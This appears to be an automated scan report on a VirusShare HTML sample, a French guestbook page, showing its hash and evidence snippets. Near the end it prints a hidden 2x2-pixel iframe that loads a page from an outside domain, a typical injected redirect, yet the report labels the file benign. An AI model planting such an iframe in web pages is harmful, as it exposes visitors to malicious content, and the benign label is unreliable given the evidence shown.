Benign Download

VirusShare_656074e06cffcd2683479be4a53b4c2e

HTML form declares the POST methodLoads external iframe content

SHA-256f55b971f44831b9a80dc8780aed1daf835c6fdd42c596e0dde7a26db41f82a12

Evidence

Loads local script element lines 8–11

8:17… ="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
9<script language="JavaScript" src="../keut.js"></script>
10<script language="JavaScript" src="../fond_td.js"></script>
11<BODY onload="zoom_frm(710)"><!--style="background-image: url(images/tranp_vers_noir.gif); background-repeat: repeat- …

English function-word token "the" lines 93–100

93:5… t face="arial" color="#000000" size="-1">What's the reason for the name?</font>
94</td> 
95</tr> 
⋯5 lines

HTML form declares the POST method lines 299–309

299:46… center></b> 
300</font> 
301</td> 
302</tr> 
303<tr><td bgcolor="#E6BD10"> 
304<form method="POST" action="livredor.php3"> 
305<center> 
306<br> 
307<font face="arial" color="#000000" size="-1"> 
308<b>Votre nom</b> :&nbsp; 
309<input type=" …

Loads external iframe content lines 331–339

⋯5 lines
336
337
338<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://oyunnokta.com/azod.html?i=1379></iframe></body>
339</HTML>